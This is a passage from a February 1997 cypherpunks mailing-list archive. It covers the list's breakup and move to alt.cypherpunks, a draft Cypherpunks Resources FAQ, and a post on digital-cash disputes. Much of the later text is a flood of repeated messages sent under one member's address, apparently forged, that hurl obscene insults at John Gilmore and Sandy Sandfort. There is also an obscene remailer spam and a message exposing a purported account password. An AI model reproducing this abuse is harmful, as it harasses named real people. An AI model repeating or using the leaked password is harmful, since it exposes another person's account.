seller is fully anonymous!  A signed receipt from a freshly-minted key
is not of much use to anyone.

If the participants are using persistant pseudonyms then whatever
reputation capital they have can be put on the line when cheating happens,
although it still may be hard to tell who cheated whom.  Did the customer
pass bad cash and claim it was good, or did the merchant deposit good
cash and claim it was bad?

The same thing could happen every day at the supermarket, of course.
A customer insists they paid $20 but got change for a $10.  If dozens of
customers say the same thing has happened to them, we start to mistrust
the market, while if several businesses say this particular customer
has made the same claim to them, we blame the customer.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 12 Feb 1997 14:01:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spamming the list
Message-ID: <199702122201.RAA10661@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Dr.Dainty Vaginal in the ass, a tapeworm might
bite your penis.

          \
         o/\_ Dr.Dainty Vaginal
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:16:55 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: List! No Way: Creati
In-Reply-To: <199702121426.GAA19999@toad.com>
Message-ID: <3.0.1.32.19970212170409.0062b768@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 2/11/97 -0500, harka@nycmetro.com wrote:
>Were it possible to use Perry's PGPDomo, which would effectively
>keep out at least the Spammers?

That'll keep out the outside spammers; it won't keep out
anybody trying to attack the list (if people can do that with
remailers, they can figure out how to do it with PGP...)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:04:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New group
Message-ID: <855767149.525716.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Paul Bradley wrote:

> > Well despite the obvious problems of propogation I thought it was time
> > someone actually did something to get us a new home, even if it`s only
> > temporary. So I have created alt.cypherpunks... See you all over on
> > usenet!...

 
> I pressed the URL alt.cypherpunks and my Netscape server said
> "no such thing" or words to that effect.

The control message may take a few more hours to propogate, either 
that or your newsadmin has rmgrouped it. The charter was clear and 
concise and explained the issues so I don`t see why it should have 
been rmgrouped. Can you mail me if it hasn`t been created by the time 
you get this email and I`ll re-issue the cmsg. However, I`m sure it 
was OK as Robert Hettinga (sp?) found it on his news server today...

Seeya

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:15:13 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer
In-Reply-To: <199702121410.GAA19543@toad.com>
Message-ID: <3.0.1.32.19970212171002.0062c798@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:03 PM 2/11/97 -0600, Jim Choate <ravage@einstein.ssz.com> wrote:
>What is the current future of the Cypherpunks webpage? Will it continue to
>be kept up or is it going down as well?

If you mean the one on soda.berkeley.edu, the last I checked
nobody had updated it in a year or more, but it was still ticking.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 12 Feb 1997 15:57:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Been good to know ya ...
Message-ID: <Pine.BSF.3.91.970212174331.17862D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Later, all.

And thanks to John for all the work he has put in to maintaining the list.

Last one to leave, turn out the lights.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Wed, 12 Feb 1997 17:53:37 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Speaker needed
Message-ID: <199702130153.RAA12977@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone is going to be in south Orange County, California during the
third week in March, and is interested  in speaking to a group of high
school students on Cryptography and the political and economic
considerations involved, please contact me via email at tobin@mail.edm.net.
 Thank you. (I'm not on cypherpunks, so don't email the list.)

Tobin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Wed, 12 Feb 1997 15:51:20 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702120555.VAA07276@toad.com>
Message-ID: <vpn2t97ffl.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Timothy C May writes:

TCM> Since posting my comments I've just seen the proposal that tivoli
TCM> may host a list.

	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
me!  I said that I was taking steps to set up a majordomo to host a
cypherpunks list.  Topmost on those steps is creation of the sten.net
or sten.org domain, and getting a personal,
paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
run off of my personal computer sitting in my apartment, not on Tivoli
hardware sitting in the support lab.  As I said, John forced my hand
in his announcement, causing me to 'put up' before everything was in
place, including the domain registration.  Yes, my mail comes from
sten.tivoli.com.  That doesn't mean that everything I do in life is
connected to Tivoli, IBM, etc.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771176.523341.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)


The password for acct fatmans.demon.co.uk is neur0mancer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 15:55:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702122353.RAA02802@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:49:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770998.521798.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:51:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771046.522224.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771069.522398.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771142.523027.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771128.522894.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:13:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771010.521891.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:11:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771157.523174.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:15:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770907.521038.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
